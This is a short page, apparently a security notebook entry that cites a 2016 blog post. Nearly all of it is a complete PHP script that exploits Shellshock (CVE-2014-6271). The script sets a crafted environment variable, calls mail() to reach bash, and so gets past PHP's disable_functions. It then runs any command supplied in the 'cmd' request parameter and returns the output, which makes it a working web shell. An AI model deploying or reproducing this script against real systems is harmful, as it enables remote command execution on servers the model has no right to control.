# disable\_functions - PHP 5.x Shellshock Exploit

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## PHP 5.x Shellshock Exploit

来源：<http://blog.safebuff.com/2016/05/06/disable-functions-bypass/>

```php
<?php

echo "Disabled functions: ".ini_get('disable_functions')."\n";
function shellshock($cmd) { // Execute a command via CVE-2014-6271 @ mail.c:283
if(strstr(readlink("/bin/sh"), "bash") != FALSE) {
$tmp = tempnam(".","data");
putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1");
// In Safe Mode, the user may only alter environment variables whose names
// begin with the prefixes supplied by this directive.
// By default, users will only be able to set environment variables that
// begin with PHP_ (e.g. PHP_FOO=BAR). Note: if this directive is empty,
// PHP will let the user modify ANY environment variable!
mail("a@127.0.0.1","","","","-bv"); // -bv so we don't actually send any mail
}
else return "Not vuln (not bash)";
$output = @file_get_contents($tmp);
@unlink($tmp);
if($output != "") return $output;
else return "No output, or not vuln.";
}
echo shellshock($_REQUEST["cmd"]);
?>
```

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